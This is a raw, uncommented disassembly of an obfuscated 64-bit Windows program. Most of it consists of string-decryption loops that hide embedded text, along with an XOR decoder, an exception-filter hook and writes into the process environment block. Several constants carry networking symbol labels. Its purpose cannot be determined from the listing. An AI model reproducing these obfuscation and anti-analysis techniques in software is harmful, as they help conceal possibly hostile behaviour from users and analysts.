sub r11b, 0x3b
add r11b, dl
jmp 0x140184999
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401846b8
movabs rdx, 0x105e092ccb7b0bd4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401849f1
lea rax, [r9 + 2]
mov byte [rsp + 0x60], r15b
cmp r8, rax
jne 0x1401846eb
movabs rcx, 0x67426b9295b786dc
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 4
jmp 0x140184927
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140184719
movabs rdx, 0x3cfb842c0846a59e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x52
jmp 0x1401848fa
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1401842ed
movabs rdx, 0xbe26cdf85ff401e4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
mov byte [rsp + 0x60], r15b
jmp 0x1401848a5
movabs rdx, 0x6998ff2b45123f68
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xbeb]
add r11b, r10b
jmp 0x1401848fa
movabs rdx, 0x3f5217c4b7a15e2a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0xbeb]
sub r11b, 0x26
jmp 0x140184963
lea rcx, [rbx + rsi]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x71
jmp 0x1401849f1
movabs rdx, 0xf1e04716c757b905
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x23
add r11b, dl
jmp 0x140184999
movabs rdx, 0x1c272e7d54c89a43
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2b
jmp 0x140184963
movabs rcx, 0x466e15e3e2397b81
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x79
jmp 0x14018492a
movabs rcx, 0xef89b37e17fd0079
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x4f
inc r9
dec rbx
jmp 0x1401849ff
movabs rdx, 0x19d09ae4a56de1b7
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
dec r11b
jmp 0x1401848a5
movabs rdx, 0x6e5e69b1c04fa433
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x65
add r11b, dl
movabs rcx, 0x7ebc72de8bcab007
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x31
add r10b, cl
mov byte [rbp + rbx + 0xbeb], r10b
inc r9
dec rbx
jmp 0x1401849ff
movabs rdx, 0xed331fe568a247ed
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7b
add r11b, dl
movabs rdx, 0x54758b77fe59cec9
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7f
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xbeb], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
jmp 0x1401849ff
mov r10, rdi
movabs rdx, 0x6c07d61910f4eba7
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
add r11b, 0x6f
add r11b, dl
movabs rdx, 0x2a2ea41170e8ed8b
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xbeb], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x150b305e2a307cec
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, cl
mov byte [rbp + rbx + 0xbeb], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
jmp 0x1401849f1
movabs rcx, 0xc095a4e62bd6ae23
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0xb
movzx eax, byte [rbp + rbx + 0xbeb]
add rax, r9
add rbx, rax
inc rbx
movzx r15d, byte [rsp + 0x60]
movabs rdx, 0x85c02da899dad9ab
jmp 0x140183dc2
movabs rcx, 0x494e3dc422d7d65
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x3d
jmp 0x140183dbe
movabs rcx, 0x2edbcb42cf9e5ea3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x75
jmp 0x140183da2
lea rdx, [rbp + 0x1546117]
lea rcx, [rbp + 0x1670]
call fcn.14013a940
jmp 0x140184b10
lea rdx, [rbp + 0x9bf078]
lea rcx, [rbp + 0x1670]
call fcn.14013a940
jmp 0x140184b10
lea rdx, [rbp + 0xbeb]
lea rcx, [rbp + 0x1670]
call fcn.14013a940
jmp 0x140184b10
lea rcx, [rbp - 0x50]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x15f0]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x15f0]
call fcn.14014cf90
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1690]
call fcn.14014d2c0
lea rdx, [rbp + 0x1690]
lea rcx, [rbp + 0x1670]
call fcn.140135e80
lea rcx, [rbp + 0x1690]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x6a0]
call fcn.140157830
nop
lea rcx, [rbp + 0x690]
call fcn.140157830
nop
lea rcx, [rbp + 0x1610]
call fcn.14013e780
nop
lea rcx, [rbp + 0x15f0]
call fcn.14013e780
nop
mov rcx, r14
call fcn.140135dd0
nop
lea rdx, [rbp + 0x1670]
lea rcx, [rbp + 0x16b0]
call fcn.140135eb0
mov rdx, rax
lea rcx, [rbp + 0xa08]
call fcn.140138930
nop
lea rcx, [rbp + 0xa08]
call fcn.1401353f0
mov rsi, rax
lea rcx, [rbp + 0xa08]
call fcn.140135ba0
test rsi, rsi
je 0x1401885f9
cmp rax, 0x3e8
jb 0x1401885f9
mov rdx, qword [rbp - 8]
lea rcx, [rbp + 0x16d0]
call fcn.140135eb0
mov r14, rax
mov qword [rsp + 0x70], rax
lea rcx, [0x1401647d0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.14013b030
mov qword [0x1404e9e78], rax
test rax, rax
je 0x140185c8d
cmp rax, 0xffffffffffffffff
je 0x140185c8d
xor ebx, ebx
mov dword [rbp + 0x38], ebx
call fcn.14014ced0
movzx r12d, byte [rbp - 0x74]
test r12b, r12b
je 0x140184c20
test al, al
jne 0x140184c20
call fcn.14014cf00
mov dword [rbp + 0x25c4], ebx
mov ecx, 0x1835
mov dword [rbp + 0x25cc], ecx
mov dword [rbp + 0x25c8], ecx
mov dword [rbp + 0x25c0], ecx
jmp 0x140184c46
mov dword [rbp + 0x25c4], ebx
mov ecx, 0x1835
mov dword [rbp + 0x25cc], ecx
mov dword [rbp + 0x25c8], 0x1836
mov dword [rbp + 0x25c0], ecx
test r12b, r12b
je 0x140184c56
cmp byte [rbp + 0x5d08], bl
je 0x140184c56
mov dword [rbp + 0x25d0], ecx
jmp 0x140184c65
mov dword [rbp + 0x25d0], 0x1836
test r12b, r12b
je 0x140184c75
cmp byte [rbp + 0x5d10], bl
je 0x140184c75
mov dword [rbp + 0x25d4], ecx
jmp 0x140184c84
mov dword [rbp + 0x25d4], 0x1836
test r12b, r12b
je 0x140184c94
cmp byte [rbp + 0x5d18], bl
je 0x140184c94
mov dword [rbp + 0x25d8], ecx
jmp 0x140184ca3
mov dword [rbp + 0x25d8], 0x1836
test r12b, r12b
je 0x140184cb0
cmp byte [rbp - 0x20], bl
je 0x140184cb0
mov dword [rbp + 0x25dc], ecx
jmp 0x140184cbf
mov dword [rbp + 0x25dc], 0x1836
test r12b, r12b
je 0x140184ccc
cmp byte [rbp - 0x1f], bl
je 0x140184ccc
mov dword [rbp + 0x25e0], ecx
jmp 0x140184cdb
mov dword [rbp + 0x25e0], 0x1836
test r12b, r12b
je 0x140184ce8
cmp byte [rbp - 0x1e], bl
je 0x140184ce8
mov dword [rbp + 0x25e4], ecx
jmp 0x140184cf7
mov dword [rbp + 0x25e4], 0x1836
test r12b, r12b
je 0x140184d04
cmp byte [rbp - 0x1d], bl
je 0x140184d04
mov dword [rbp + 0x25e8], ecx
jmp 0x140184d13
mov dword [rbp + 0x25e8], 0x1836
test r12b, r12b
je 0x140184d20
cmp byte [rbp - 0x78], bl
je 0x140184d20
mov dword [rbp + 0x25ec], ecx
jmp 0x140184d2f
mov dword [rbp + 0x25ec], 0x1836
test r12b, r12b
je 0x140184d42
cmp byte [rbp - 0x77], bl
je 0x140184d42
mov dword [rbp + 0x25f0], ecx
mov dword [rbp + 0x260c], ebx
jmp 0x140184d57
mov dword [rbp + 0x25f0], 0x1836
mov dword [rbp + 0x260c], ebx
test r12b, r12b
je 0x140184d6b
cmp byte [rbp - 0x76], bl
je 0x140184d6b
movzx eax, byte [rbp - 0x75]
xor eax, 1
inc eax
mov dword [rbp + 0x260c], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25f4], xmm0
mov dword [rbp + 0x2604], eax
mov dword [rbp + 0x2608], ebx
lea rcx, [rbp + 0x25c0]
call fcn.1401594c0
mov rdi, rax
mov rcx, qword gs:[0x30]
mov rbx, qword [rcx + 0x60]
movabs rcx, 0x422385454523
call fcn.1401594c0
mov qword [rbx + 0x48], rax
lea r9, [rbp + 0x38]
mov r8, rdi
mov rdx, rsi
mov rcx, qword [0x1404e9e78]
call fcn.140140f00
test rax, rax
je 0x140184df7
cmp dword [rbp + 0x38], 0
jl 0x140184df7
mov rcx, qword [0x1404e9e78]
call fcn.14013b420
nop
mov rcx, r14
call fcn.140135dd0
xor r14d, r14d
mov esi, r14d
mov dword [rbp + 0x10], r14d
jmp 0x140186918
mov rcx, qword [0x1404e9e78]
call fcn.14013b420
mov esi, dword [rbp + 0x38]
mov byte [rbp + 0xc06], 0x93
mov byte [rbp + 0xc07], 0x84
mov byte [rbp + 0xc08], 0xfa
mov byte [rbp + 0xc09], 0x84
mov byte [rbp + 0xc0a], 0x82
mov byte [rbp + 0xc0b], 0x80
mov byte [rbp + 0xc0c], 0xb6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc0d], xmm0
mov dword [rbp + 0xc1d], eax
movabs r15, 0x6d95a8abd6997218
movabs r12, 0x5b70e289c96560e8
movabs r13, 0xb28733ff84323178
movzx r11d, byte [rbp + 0x5d00]
nop
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
xor edi, edi
mov ebx, edi
movabs rcx, 0xd474d745229997b8
cmp rbx, 0x1b
jae 0x140185b58
movzx r10d, byte [rbp + rbx + 0xc06]
mov rdi, r10
cmp r9, rbx
ja 0x140185b4f
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140184ecf
add rcx, rbx
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 8
jmp 0x140184f10
je 0x140185ac6
lea rax, [r8 + 3]
cmp r9, rax
je 0x140185a20
lea rax, [r8 + 5]
cmp r9, rax
je 0x1401859e5
lea rax, [r8 + 2]
cmp r9, rax
je 0x1401859bb
lea rax, [r8 + 4]
cmp r9, rax
je 0x140185962
nop dword [rax]
cmp r8, rbx
ja 0x140185b46
lea rax, [r8 + 0x2a]
cmp r9, rax
jae 0x140184f3f
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140184f70
lea rax, [r8 + 1]
cmp r9, rax
je 0x14018593c
lea rax, [r8 + 6]
cmp r9, rax
je 0x140185918
lea rax, [r8 + 4]
cmp r9, rax
je 0x1401858f3
nop word [rax + rax]
movzx edi, byte [rsp + 0x60]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14018556f
nop dword [rax]
nop word [rax + rax]
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14018554b
lea rax, [r8 + 3]
cmp r9, rax
je 0x14018551d
lea rax, [r8 + 5]
cmp r9, rax
je 0x1401854ee
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x1401854cb
lea rax, [r8 + 2]
cmp r9, rax
je 0x1401854a2
lea rax, [r8 + 4]
cmp r9, rax
je 0x140185479
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x140185453
movzx edi, byte [rsp + 0x60]
movzx edx, dil
lea rax, [r8 + r9]
cmp rax, 0x42
je 0x1401858c8
lea rax, [r8 + 8]
cmp r9, rax
jbe 0x14018566e
movabs rdx, 0x96c4e86837ff1e40
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140185a07
movabs rdx, 0xeddb39ddf2cbeed0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140185a04
movabs rdx, 0x44f18b53ad98bf60
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140185893
movabs rdx, 0x9c07dcc968658ff0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140184e84
movabs rcx, 0xf31e2e3f23326080
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
inc r8
dec rbx
inc rbx
jmp 0x140184e84
movabs rcx, 0x4a347fb4ddff3110
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x140185986
lea rax, [r8 + 9]
cmp r9, rax
jae 0x14018559c
movabs rcx, 0xd474d745229997b8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x1401853dd
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1401855db
movabs rcx, 0xdb2b5157ad32e430
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
movzx eax, byte [rbp + rbx + 0xc06]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140184e84
inc rax
cmp r9, rax
jne 0x140185607
movabs rcx, 0x8414ffe1f26613a0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x140185a79
lea rax, [r8 + 3]
mov byte [rsp + 0x60], dil
cmp r9, rax
jne 0x140185639
movabs rcx, 0xd5e85cf67ccc7280
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
jmp 0x140185a07
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1401853dd
movabs rdx, 0x27bbba0b0732d160
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
mov byte [rsp + 0x60], dil
jmp 0x140185893
add r11b, dl
add r11b, r10b
movabs rcx, 0x23ec4b5b30ff3a78
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0xc06], r10b
jmp 0x140185a04
movabs rcx, 0xf86122a05398d230
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xc06]
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x140185a46
movabs rdx, 0xbf96e73baffbe28
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x18
jmp 0x140185a43
movabs rcx, 0x630fbfe975cc8eb8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x140185a07
movabs rdx, 0x167f57361bcca188
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140185986
movabs rdx, 0xc4abfa21916642a8
mov ecx, reloc.WS2_32.dll_gethostbyname
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0x7b029cd0ebcc0b08
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, cl
mov byte [rbp + rbx + 0xc06], r10b
inc r8
dec rbx
inc rbx
jmp 0x140184e84
movabs rcx, 0x72d89d0d06ffe3c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
dec rbx
inc rbx
jmp 0x140184e84
movabs rcx, 0x21053ff87c9984e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
add r9, r8
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140184e84
mov r10, rdi
movabs rdx, 0xcf31e2e3f2332608
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x38
add r11b, dl
movabs rdx, 0xccd5f9e5763269e8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x58
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xc06], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0xa14ad12a98cc01a0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, cl
mov byte [rbp + rbx + 0xc06], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc06]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140184e84
movabs rcx, 0x7d5e85cf67ccc728
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x18
movzx eax, byte [rbp + rbx + 0xc06]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140184e84
lea rbx, [rbp + 0x171fba6]
jmp 0x140185b5f
lea rbx, [rbp + 0x4b935e]
jmp 0x140185b5f
lea rbx, [rbp + 0xc06]
lea rdx, str._s_X
lea rcx, [rbp + 0x16f0]
call fcn.14013a940
mov r9d, esi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1710]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rbx, rax
lea rdx, [rbp + 0xab0]
lea rcx, [rbp - 0x4f]
call fcn.1401647f0
xor edi, edi
cmp byte [rbp + 0xac9], dil
je 0x140185bf2
mov r8d, edi
lea r9, [rbp + 0xab0]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140185bc0
lea rdx, [rbp + 0xab0]
lea rcx, [rbp + 0x1730]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1750]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x1750]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xab0], xmm0
mov qword [rbp + 0xac0], rax
mov word [rbp + 0xac8], ax
lea rcx, [rbp + 0x1710]
call fcn.140135dd0
nop
mov rcx, r14
call fcn.140135dd0
mov esi, 0xc0000001
xor r14d, r14d
jmp 0x14018690e
mov byte [rbp + 0x6f0], 0x4b
mov byte [rbp + 0x6f1], 0x22
mov byte [rbp + 0x6f2], 0x3c
mov byte [rbp + 0x6f3], 0x3a
mov byte [rbp + 0x6f4], reloc.WS2_32.dll_getservbyport
mov byte [rbp + 0x6f5], 0x3a
mov byte [rbp + 0x6f6], 0x60
xor eax, eax
mov qword [rbp + 0x6f7], rax
mov byte [rbp + 0x6ff], al
movabs rsi, 0x6bb9574d2abed057
movabs r15, 0xc09da716b87d4771
movabs r12, 0xcceeb4dd2246dc45
movabs r14, 0x9599b9562c05ca5b
movabs r13, 0x93231cfb4a10ac97
movzx r10d, byte [rbp + 0x5d00]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x10
jae 0x140186814
movzx r11d, byte [rbp + rdi + 0x6f0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rdi
ja 0x14018680b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140185d6c
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x17
jmp 0x140185da5
je 0x1401867a1
inc rax
cmp r8, rax
je 0x14018676a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140186740
lea rax, [r9 + 5]
cmp r8, rax
je 0x140186713
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401866c2
cmp r9, rdi
ja 0x1401867f9
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140185dcf
lea rcx, [rdi + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x140185e03
lea rax, [r9 + 1]
cmp r8, rax
je 0x140186698
lea rax, [r9 + 2]
cmp r8, rax
je 0x140186665
lea rax, [r9 + 5]
cmp r8, rax
je 0x140186635
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401865f7
movzx edx, byte [rsp + 0x60]
mov byte [rsp + 0x60], dl
nop dword [rax]
movzx ebx, dl
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140186192
lea rax, [r9 + 9]
cmp r8, rax
je 0x140186169
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14018613c
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140186118
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401860ef
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1401860cb
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140185e20
mov r8, rax
lea r9, [rax + 0x40]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401867d5
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140185f1f
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140185f04
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140186043
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140186013
mov r8, rax
lea r9, [rax + 0xa]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140185fd9
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140185fb5
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140185f8d
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140185f5e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140185f3a
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x42]
jmp 0x140185e20
lea rcx, [rdi + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
jmp 0x140185e10
lea rcx, [rdi + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
jmp 0x140185d35
movabs rcx, 0x6775a6e91236e228
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x1401866e1
movabs rdx, 0x64ff0a8e3041c464
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x140185d22
movabs rcx, 0x62886e334e4ca6a0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
add r8, r9
jmp 0x140186788
movabs rcx, 0x6011d1d86c5788dc
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x140186579
movabs rdx, 0x5d9b357d8a626b18
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0x6f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140185d22
movabs rcx, 0x9a86f20beff005e3
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x35
mov byte [rbp + rdi + 0x6f0], r10b
inc rdi
jmp 0x140185d22
movabs rcx, 0x981055b10dfae81f
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
movzx ebx, dl
cmp r8, 0x61
jae 0x1401864f0
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x140186408
movabs rcx, 0xb27f85471820e232
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
cmp r9, 0x200
jb 0x140186033
movabs rcx, 0xbed0930d81ea7706
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x54]
jmp 0x1401866e1
movabs rcx, 0x4c5cef015cae9abc
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x1401865a9
movabs rdx, 0x49e652a67ab97cf8
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140186788
movabs rcx, 0x476fb64b98c45f34
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x14018651b
movabs rcx, 0x44f919f0b6cf4170
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x140185d22
movabs rdx, 0xc3bdcbc345d4b28e
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1401866e1
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1401861b6
lea rcx, [rdi + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
jmp 0x140186295
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401861f9
movabs rdx, 0x99dd69ba448db88a
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x1d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x6f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140185d22
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140186226
movabs rcx, 0x9c5406152682d64e
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x140186579
mov byte [rsp + 0x60], dl
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018625a
movabs rdx, 0x2005f09d797282f4
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea r10d, [rcx + rcx]
mov byte [rsp + 0x60], bl
jmp 0x140186515
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140186291
movabs rcx, 0x227c8cf85b67a0b8
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
inc r9
dec rdi
inc rdi
jmp 0x140185d22
mov byte [rsp + 0x60], dl
movzx ebx, dl
lea rax, [r9 + r8]
cmp rax, 0x80
